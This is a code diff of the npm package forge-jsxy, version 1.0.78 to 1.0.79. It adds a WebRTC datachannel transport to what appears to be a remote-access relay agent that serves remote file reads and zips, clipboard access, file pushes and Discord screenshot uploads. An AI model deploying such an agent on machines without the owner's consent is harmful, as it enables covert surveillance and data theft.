forge-jsxy 1.0.78 → 1.0.79

package/dist/relayAgent.js

@@ -46,6 +46,8 @@ const os = __importStar(require("node:os"));
 const path = __importStar(require("node:path"));
 const ws_1 = __importDefault(require("ws"));
 const relayAuth_1 = require("./relayAuth");
+const forgeRtcAgent_1 = require("./forgeRtcAgent");
+const forgeBulkDc_1 = require("./forgeBulkDc");
 const fsMessages_1 = require("./fsMessages");
 const hfCredentials_1 = require("./hfCredentials");
 const hfUpload_1 = require("./hfUpload");
@@ -314,11 +316,38 @@ function runRelayAgentLoop(opts) {
         log(quiet, `CfgMgr relay agent [file explorer /fs_* only]\n  Relay: ${relayUrl}\n  Session: ${sessionId}\n  FS explore: ${allowFilesystem ? "ON" : "OFF"}`);
         log(quiet, "  Connecting to relay...");
         void (0, relayAuth_1.relayWsProxySetting)();
+        /** Reported in `info.features.webrtc_datachannel` for dashboards; relay still advertises ICE — viewers probe then fall back when false. */
+        const agentWebrtcDatachannelCapable = (0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() && (0, forgeRtcAgent_1.loadNodeDcPeerConnection)() !== null;
         const preOpenQueue = [];
+        let relayRtcIceServersCache = null;
+        let forgeRtcSession = null;
+        let rtcDcOutbound = null;
+        let rtcDcInputOutbound = null;
+        let rtcDcBulkOutbound = null;
+        /** Serialize `forge-bulk` frames so hdr/binary pairs do not interleave across concurrent fs ops. */
+        let bulkFsSendChain = Promise.resolve();
+        const forgeRtcPendingViewerIce = [];
+        const closeForgeRtcSessionOnly = () => {
+            try {
+                forgeRtcSession?.close();
+            }
+            catch {
+                /* skip */
+            }
+            forgeRtcSession = null;
+            rtcDcOutbound = null;
+            rtcDcInputOutbound = null;
+            rtcDcBulkOutbound = null;
+            bulkFsSendChain = Promise.resolve();
+        };
+        const resetForgeRtcNegotiation = () => {
+            forgeRtcPendingViewerIce.length = 0;
+            closeForgeRtcSessionOnly();
+        };
         /** `ws` uses the same numeric states as browsers; avoid relying on `WebSocket.CONNECTING` export quirks. */
         const WS_CONNECTING = 0;
         const WS_OPEN = 1;
-        const sendJson = (obj) => {
+        const sendJsonWs = (obj) => {
             const w = outboundAgentWs;
             if (!w)
                 return;
@@ -330,6 +359,61 @@ function runRelayAgentLoop(opts) {
                 preOpenQueue.push(obj);
             }
         };
+        const sendJson = (obj) => {
+            const rec = obj;
+            const ty = String(rec?.type ?? "");
+            const wsOnly = !ty ||
+                ty === "info" ||
+                ty.startsWith("forge_rtc_") ||
+                ty.startsWith("discord_") ||
+                ty.startsWith("relay_") ||
+                ty === "auth_challenge" ||
+                ty === "auth_result";
+            if (!wsOnly && (0, forgeRtcAgent_1.agentOutboundPreferRtcDc)(ty)) {
+                let payload;
+                try {
+                    payload = JSON.stringify(obj);
+                }
+                catch {
+                    payload = "";
+                }
+                if (payload.length > 0 && payload.length <= 32768) {
+                    for (const dc of [rtcDcOutbound, rtcDcInputOutbound]) {
+                        if (!dc?.isOpen())
+                            continue;
+                        try {
+                            if (dc.sendMessage(payload)) {
+                                return;
+                            }
+                        }
+                        catch {
+                            /* WS fallback */
+                        }
+                    }
+                }
+            }
+            sendJsonWs(obj);
+        };
+        const deliverFsResponse = (resp) => {
+            const ty = String(resp.type ?? "");
+            const bulk = rtcDcBulkOutbound;
+            if (bulk?.isOpen() &&
+                (ty === "fs_read_result" || ty === "fs_zip_result") &&
+                typeof resp.b64 === "string" &&
+                resp.b64.length > 0) {
+                bulkFsSendChain = bulkFsSendChain
+                    .then(() => {
+                    if (!(0, forgeBulkDc_1.forgeBulkAgentTrySend)(bulk, resp)) {
+                        sendJson(resp);
+                    }
+                })
+                    .catch(() => {
+                    sendJson(resp);
+                });
+                return;
+            }
+            sendJson(resp);
+        };
         const ws = new ws_1.default(wsUrl, {
             /** Match relay `maxPayload` (2**27) so large `fs_read` / `fs_zip` frames from the server are accepted. */
             maxPayload: 2 ** 27,
@@ -343,6 +427,8 @@ function runRelayAgentLoop(opts) {
         let relayAgentHandshakeDone = false;
         let discordLoopStarted = false;
         let discordEnabledByRelayHandshake = false;
+        /** One `forge_rtc_agent_status` per viewer session so browsers do not spin ICE forever on unsupported agents. */
+        let forgeRtcStatusSentThisViewer = false;
         const tryStartDiscordAfterHandshake = () => {
             if (!openHandlerFinishedInfo || !relayAgentHandshakeDone || discordLoopStarted)
                 return;
@@ -430,6 +516,10 @@ function runRelayAgentLoop(opts) {
                         }
                     }
                 }
+                const iceRaw = caps.rtc_ice_servers;
+                if (Array.isArray(iceRaw) && iceRaw.length > 0) {
+                    relayRtcIceServersCache = iceRaw;
+                }
             }
             relayAgentHandshakeDone = true;
             try {
@@ -474,6 +564,7 @@ function runRelayAgentLoop(opts) {
                             filesystem: allowFilesystem,
                             screen: false,
                             password_required: Boolean(password),
+                            webrtc_datachannel: agentWebrtcDatachannelCapable,
                         },
                         scale: 1.0,
                         quality: 0,
@@ -488,17 +579,17 @@ function runRelayAgentLoop(opts) {
                 tryStartDiscordAfterHandshake();
             });
         });
-        ws.on("message", (data, isBinary) => {
-            if (isBinary)
-                return;
-            let msg;
-            try {
-                msg = JSON.parse(String(data));
-            }
-            catch {
-                return;
-            }
+        const handleViewerInboundFromRelay = (msg, via) => {
             const msgType = String(msg.type || "");
+            if (via === "dc") {
+                if (msgType.startsWith("forge_rtc_"))
+                    return;
+                if (msgType !== "get_info" &&
+                    !msgType.startsWith("fs_") &&
+                    !msgType.startsWith("rc_")) {
+                    return;
+                }
+            }
             if (msgType === "discord_screenshot_upload_result") {
                 const rid = String(msg.request_id ?? "");
                 const pending = pendingDiscordRelayAck.get(rid);
@@ -565,6 +656,7 @@ function runRelayAgentLoop(opts) {
             }
             if (msgType === "viewer_connected") {
                 viewerConnected = true;
+                forgeRtcStatusSentThisViewer = false;
                 viewerAuthenticated = !password;
                 pendingAuthNonce = password ? (0, node_crypto_1.randomBytes)(16).toString("hex") : "";
                 log(quiet, `  Viewer connected${password ? " (awaiting auth)" : ""}`);
@@ -596,7 +688,10 @@ function runRelayAgentLoop(opts) {
             }
             if (msgType === "viewer_disconnected") {
                 viewerConnected = false;
-                viewerAuthenticated = !password;
+                forgeRtcStatusSentThisViewer = false;
+                resetForgeRtcNegotiation();
+                /** Always drop auth until `viewer_connected` — same effective behavior as password mode (`!password` was false there). */
+                viewerAuthenticated = false;
                 pendingAuthNonce = "";
                 log(quiet, "  Viewer disconnected");
                 return;
@@ -640,6 +735,21 @@ function runRelayAgentLoop(opts) {
                 }
                 return;
             }
+            /** Passwordless: relay may deliver this before deferred `viewer_connected`. Password sessions: only after auth (avoid leaking OS/version). */
+            if (msgType === "get_info") {
+                if (!password || viewerAuthenticated) {
+                    sendJson({
+                        type: "system_info",
+                        data: {
+                            ...systemInfo(),
+                            forge_jsx_version: forgeJsxVersion,
+                        },
+                        screen: screenOff,
+                        scale: 1.0,
+                    });
+                }
+                return;
+            }
             if (!viewerAuthenticated) {
                 const rid = String(msg.request_id ?? "");
                 if (msgType === "fs_hf_upload") {
@@ -664,6 +774,8 @@ function runRelayAgentLoop(opts) {
                     "rc_clipboard_get",
                     "rc_clipboard_set",
                     "rc_file_push",
+                    "forge_rtc_offer",
+                    "forge_rtc_candidate",
                 ].includes(msgType)) {
                     sendJson({
                         type: "fs_error",
@@ -678,16 +790,83 @@ function runRelayAgentLoop(opts) {
             if (msgType === "relay_hf_credentials_request") {
                 return;
             }
-            if (msgType === "get_info") {
-                sendJson({
-                    type: "system_info",
-                    data: {
-                        ...systemInfo(),
-                        forge_jsx_version: forgeJsxVersion,
-                    },
-                    screen: screenOff,
-                    scale: 1.0,
-                });
+            if (msgType === "forge_rtc_offer") {
+                resetForgeRtcNegotiation();
+                const peerCtor = (0, forgeRtcAgent_1.loadNodeDcPeerConnection)();
+                if (!(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)() || !peerCtor) {
+                    if (!forgeRtcStatusSentThisViewer) {
+                        forgeRtcStatusSentThisViewer = true;
+                        sendJsonWs({
+                            type: "forge_rtc_agent_status",
+                            ok: false,
+                            datachannel: false,
+                            detail: !(0, forgeRtcAgent_1.forgeWebRtcP2PEnabled)()
+                                ? "WebRTC P2P disabled on agent (FORGE_JS_WEBRTC_P2P)."
+                                : "Native WebRTC unavailable (optional dependency node-datachannel missing or failed to load). Remote control uses the relay WebSocket.",
+                        });
+                    }
+                    return;
+                }
+                try {
+                    forgeRtcSession = new forgeRtcAgent_1.ForgeRtcAgentSession({
+                        PeerConnection: peerCtor,
+                        sdp: String(msg.sdp ?? ""),
+                        sdpType: String(msg.sdpType ?? "offer"),
+                        iceServers: (0, forgeRtcAgent_1.rtcIceServersForNodeDc)(relayRtcIceServersCache ?? undefined),
+                        sendSignaling: sendJsonWs,
+                        setOutboundDc: (which, dc) => {
+                            if (which === "main") {
+                                rtcDcOutbound = dc;
+                            }
+                            else if (which === "input") {
+                                rtcDcInputOutbound = dc;
+                            }
+                            else if (which === "bulk") {
+                                rtcDcBulkOutbound = dc;
+                            }
+                        },
+                        onInboundDcText: (text) => {
+                            let inner;
+                            try {
+                                inner = JSON.parse(text);
+                            }
+                            catch {
+                                return;
+                            }
+                            handleViewerInboundFromRelay(inner, "dc");
+                        },
+                        onFatal: () => {
+                            resetForgeRtcNegotiation();
+                        },
+                        quiet,
+                    });
+                }
+                catch (e) {
+                    resetForgeRtcNegotiation();
+                    sendJsonWs({
+                        type: "forge_rtc_agent_status",
+                        ok: false,
+                        datachannel: false,
+                        detail: String(e),
+                    });
+                    return;
+                }
+                for (const p of forgeRtcPendingViewerIce) {
+                    forgeRtcSession?.addRemoteIce(p.candidate, p.mid);
+                }
+                forgeRtcPendingViewerIce.length = 0;
+                return;
+            }
+            if (msgType === "forge_rtc_candidate") {
+                const cand = String(msg.candidate ?? "").trim();
+                if (!cand)
+                    return;
+                const mid = msg.sdpMid != null ? String(msg.sdpMid) : "";
+                if (!forgeRtcSession) {
+                    forgeRtcPendingViewerIce.push({ candidate: cand, mid });
+                    return;
+                }
+                forgeRtcSession.addRemoteIce(cand, mid);
                 return;
             }
             if ([
@@ -707,7 +886,7 @@ function runRelayAgentLoop(opts) {
                 void (async () => {
                     try {
                         const resp = await (0, fsMessages_1.buildFsResponse)(msg, allowFilesystem);
-                        sendJson(resp);
+                        deliverFsResponse(resp);
                     }
                     catch (e) {
                         sendJson({
@@ -821,6 +1000,18 @@ function runRelayAgentLoop(opts) {
                     })();
                 });
             }
+        };
+        ws.on("message", (data, isBinary) => {
+            if (isBinary)
+                return;
+            let parsed;
+            try {
+                parsed = JSON.parse(String(data));
+            }
+            catch {
+                return;
+            }
+            handleViewerInboundFromRelay(parsed, "ws");
         });
         ws.on("close", () => {
             clearAllPendingDiscordAgent("agent websocket closed");
@@ -832,6 +1023,7 @@ function runRelayAgentLoop(opts) {
             }
             stopDiscordScreenshotLoop = null;
             preOpenQueue.length = 0;
+            resetForgeRtcNegotiation();
             if (outboundAgentWs === ws)
                 outboundAgentWs = null;
             relayDisconnectCleanup();
@@ -849,6 +1041,7 @@ function runRelayAgentLoop(opts) {
             log(quiet, `  Error: ${err}. Reconnecting in ${reconnectDelayMs / 1000}s...`);
             if (outboundAgentWs === ws) {
                 preOpenQueue.length = 0;
+                resetForgeRtcNegotiation();
                 outboundAgentWs = null;
             }
             relayDisconnectCleanup();

package/dist/relayDashboardGate.js

@@ -306,5 +306,13 @@ function readJsonBody(req) {
             }
         });
         req.on("error", () => fin({ error: "aborted" }));
+        /** RST / half-close without `error`: finish so `.then` handlers still run and sockets are not wedged. */
+        req.on("close", () => {
+            if (done)
+                return;
+            if (req.readableEnded)
+                return;
+            fin({ error: "aborted" });
+        });
     });
 }

package/dist/relayServer.js

@@ -265,6 +265,99 @@ function relayDiscordScreenshotAdvertisedUploadMode() {
         return "relay";
     return "webhook";
 }
+/**
+ * Default on: advertise STUN/TURN ICE servers for browser↔agent WebRTC (signaling still uses this relay WS).
+ * Opt out only when explicitly disabled — keeps file-explorer + `/remote` P2P paths enabled without PM2/.env boilerplate.
+ */
+function relayWebRtcSignalingEnabled() {
+    const raw = String(process.env.RELAY_WEBRTC_SIGNALING ?? "").trim().toLowerCase();
+    if (["0", "false", "no", "off"].includes(raw))
+        return false;
+    return true;
+}
+const RELAY_DEFAULT_RTC_ICE_SERVERS = [
+    { urls: "stun:stun.l.google.com:19302" },
+    { urls: "stun:stun1.l.google.com:19302" },
+];
+/**
+ * JSON array of RTCIceServer objects, e.g.
+ * `[{"urls":"stun:stun.l.google.com:19302"},{"urls":"turn:…","username":"…","credential":"…"}]`
+ */
+function relayRtcIceServersAdvertised() {
+    const raw = String(process.env.RELAY_RTC_ICE_SERVERS || "").trim();
+    if (raw) {
+        try {
+            const parsed = JSON.parse(raw);
+            if (Array.isArray(parsed) && parsed.length > 0)
+                return parsed;
+        }
+        catch {
+            /* fall through */
+        }
+    }
+    return [...RELAY_DEFAULT_RTC_ICE_SERVERS];
+}
+function relayWebRtcFeaturesPayload() {
+    if (!relayWebRtcSignalingEnabled())
+        return undefined;
+    return {
+        webrtc_signaling: true,
+        rtc_ice_servers: relayRtcIceServersAdvertised(),
+    };
+}
+function relayWebRtcOmitWhenAgentOlderThanRelay() {
+    const raw = String(process.env.RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY || "")
+        .trim()
+        .toLowerCase();
+    return ["1", "true", "yes", "on"].includes(raw);
+}
+/** Digit-only dotted semver segments (aligned with viewer `versionLt`). */
+function semverLt(a, b) {
+    const parse = (v) => v
+        .split(".")
+        .map((s) => parseInt(s.trim(), 10))
+        .filter((n) => Number.isFinite(n));
+    const av = parse(a);
+    const bv = parse(b);
+    if (av.length === 0 || bv.length === 0)
+        return false;
+    const n = Math.max(av.length, bv.length);
+    for (let i = 0; i < n; i++) {
+        const ai = av[i] ?? 0;
+        const bi = bv[i] ?? 0;
+        if (ai < bi)
+            return true;
+        if (ai > bi)
+            return false;
+    }
+    return false;
+}
+/**
+ * WebRTC ICE advertisement for viewers when relay signaling is on.
+ * Always returns ICE payload unless signaling is disabled. Optional legacy gate:
+ * RELAY_WEBRTC_REQUIRE_AGENT_SEMVER_GTE_RELAY=1 omits WebRTC until agent semver ≥ relay package.
+ * Agents without native datachannel still receive signaling here; the viewer probes and falls back to the relay WebSocket.
+ */
+function relayWebRtcFeaturesForViewer(session) {
+    const base = relayWebRtcFeaturesPayload();
+    if (!base)
+        return undefined;
+    if (!relayWebRtcOmitWhenAgentOlderThanRelay()) {
+        return base;
+    }
+    const agentVer = session.agentVersion.trim();
+    if (!agentVer)
+        return base;
+    const relayVer = relayPackageVersion();
+    if (!relayVer || relayVer === "unknown")
+        return base;
+    if (!/^\d/.test(agentVer))
+        return base;
+    if (/^\d/.test(relayVer) && semverLt(agentVer, relayVer)) {
+        return undefined;
+    }
+    return base;
+}
 class Session {
     sessionId;
     agent = null;
@@ -278,6 +371,8 @@ class Session {
     agentHostname = "";
     agentRemoteIp = "";
     agentFilesystem = false;
+    /** From agent `info.features.webrtc_datachannel`; null if absent (legacy agent). */
+    agentWebrtcDatachannel = null;
     constructor(sessionId) {
         this.sessionId = sessionId;
     }
@@ -297,6 +392,22 @@ function getOrCreateSession(sessionId) {
     }
     return s;
 }
+/** Push WebRTC availability when agent `info` arrives after the viewer (or agent upgrades). */
+function pushViewerWebRtcAvailability(session) {
+    if (!wsIsOpen(session.viewer))
+        return;
+    const rtc = relayWebRtcFeaturesForViewer(session);
+    try {
+        session.viewer.send(JSON.stringify({
+            type: "relay_webrtc_availability",
+            webrtc_signaling: rtc?.webrtc_signaling === true,
+            ...(rtc?.webrtc_signaling === true ? { rtc_ice_servers: rtc.rtc_ice_servers } : {}),
+        }));
+    }
+    catch {
+        /* skip */
+    }
+}
 function removeSession(sessionId) {
     sessions.delete(sessionId);
 }
@@ -624,6 +735,17 @@ function _applySecurityHeaders(res) {
         "connect-src 'self' ws: wss:; " + // WebSocket connections
         "frame-ancestors 'none';");
 }
+/** Async HTTP handlers skip writes when the socket already closed (avoids ERR_HTTP_HEADERS_SENT). */
+function _ifHttpWritable(res, send) {
+    if (res.writableEnded)
+        return;
+    try {
+        send();
+    }
+    catch {
+        /* ignore — peer may disconnect mid-response */
+    }
+}
 function writeFilesExplorerHtml(res) {
     let html;
     try {
@@ -662,25 +784,35 @@ function handlePostRelayDashboard(req, res, pathname) {
             return;
         }
         void (0, relayDashboardGate_1.readJsonBody)(req).then((b) => {
-            if (b.error) {
-                res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
-                res.end(b.error);
-                return;
-            }
-            const pw = b.data?.password ?? '';
-            const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
-            if (!t.ok) {
-                res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
-                res.end("Unauthorized");
+            if (res.writableEnded)
                 return;
+            try {
+                if (b.error) {
+                    res.writeHead(400, { 'Content-Type': 'text/plain; charset=utf-8' });
+                    res.end(b.error);
+                    return;
+                }
+                const pw = b.data?.password ?? '';
+                const t = (0, relayDashboardGate_1.tryDashboardLogin)(pw);
+                if (!t.ok) {
+                    res.writeHead(401, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Unauthorized");
+                    return;
+                }
+                if (t["set-cookie"]) {
+                    res.writeHead(204, { "set-cookie": t["set-cookie"] });
+                    res.end();
+                }
+                else {
+                    res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Config error");
+                }
             }
-            if (t["set-cookie"]) {
-                res.writeHead(204, { "set-cookie": t["set-cookie"] });
-                res.end();
-            }
-            else {
-                res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
-                res.end("Config error");
+            catch {
+                _ifHttpWritable(res, () => {
+                    res.writeHead(500, { "Content-Type": "text/plain; charset=utf-8" });
+                    res.end("Internal error");
+                });
             }
         });
         return;
@@ -709,6 +841,7 @@ function listSessionsPayload() {
         agent_os: s.agentOs || null,
         agent_hostname: s.agentHostname || null,
         agent_filesystem: s.agentFilesystem,
+        agent_webrtc_datachannel: s.agentWebrtcDatachannel,
     }));
 }
 function handleHttp(req, res) {
@@ -848,17 +981,21 @@ function handleHttp(req, res) {
         void (async () => {
             try {
                 const seqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(sessionTable);
-                _applySecurityHeaders(res);
-                res.writeHead(200, {
-                    "Content-Type": "application/json; charset=utf-8",
-                    "Cache-Control": "no-store",
+                _ifHttpWritable(res, () => {
+                    _applySecurityHeaders(res);
+                    res.writeHead(200, {
+                        "Content-Type": "application/json; charset=utf-8",
+                        "Cache-Control": "no-store",
+                    });
+                    res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
                 });
-                res.end(JSON.stringify({ seq_id: seqId, session_table: sessionTable }));
             }
             catch (e) {
-                _applySecurityHeaders(res);
-                res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
-                res.end(JSON.stringify({ error: String(e), seq_id: null }));
+                _ifHttpWritable(res, () => {
+                    _applySecurityHeaders(res);
+                    res.writeHead(500, { "Content-Type": "application/json; charset=utf-8" });
+                    res.end(JSON.stringify({ error: String(e), seq_id: null }));
+                });
             }
         })();
         return;
@@ -985,6 +1122,7 @@ function attachConnection(ws, req, role, sessionId) {
                     const v = relayPackageVersion();
                     return v === "unknown" ? undefined : v;
                 })(),
+                ...(relayWebRtcFeaturesPayload() ?? {}),
             };
             ws.send(JSON.stringify({
                 type: "connected",
@@ -1016,6 +1154,14 @@ function attachConnection(ws, req, role, sessionId) {
                     /* skip */
                 }
             }
+        }).catch((e) => {
+            console.error("[relay] agent WebSocket setup failed:", e);
+            try {
+                ws.close(1011, "setup failed");
+            }
+            catch {
+                /* skip */
+            }
         }); // end _refreshBlacklistIfStale().then()
     }
     else {
@@ -1038,11 +1184,13 @@ function attachConnection(ws, req, role, sessionId) {
             }
         }
         session.viewer = ws;
+        const rtcFeat = relayWebRtcFeaturesForViewer(session);
         ws.send(JSON.stringify({
             type: "connected",
             role: "viewer",
             session_id: sessionId,
             agent_online: wsIsOpen(session.agent),
+            ...(rtcFeat ?? {}),
         }));
         /** Same forge-db lookup as GET /api/explorer-seq — pushes seq_id over WS so the explorer tab/badge work even if the HTTP fetch fails. */
         const sessionTableForSeq = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(sessionId);
@@ -1257,6 +1405,9 @@ function attachConnection(ws, req, role, sessionId) {
                 catch {
                     /* skip */
                 }
+                finally {
+                    (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
+                }
             }
             catch (e) {
                 try {
@@ -1310,6 +1461,9 @@ function attachConnection(ws, req, role, sessionId) {
             session.agentHostname = String(sys.hostname || "").trim();
             const feats = data.features || {};
             session.agentFilesystem = Boolean(feats.filesystem);
+            const wdc = feats.webrtc_datachannel;
+            session.agentWebrtcDatachannel =
+                typeof wdc === "boolean" ? wdc : null;
             // Log version comparison against actual relay package version.
             if (session.agentVersion) {
                 const relayPkg = relayPackageVersion();
@@ -1327,6 +1481,7 @@ function attachConnection(ws, req, role, sessionId) {
                     }
                 }
             }
+            pushViewerWebRtcAvailability(session);
             // Push OS info to forge-db _client_registry on behalf of the agent.
             // This works even for old-version agents that don't call POST /api/client-info themselves.
             const forgeDbApi = _forgeDbApiUrl();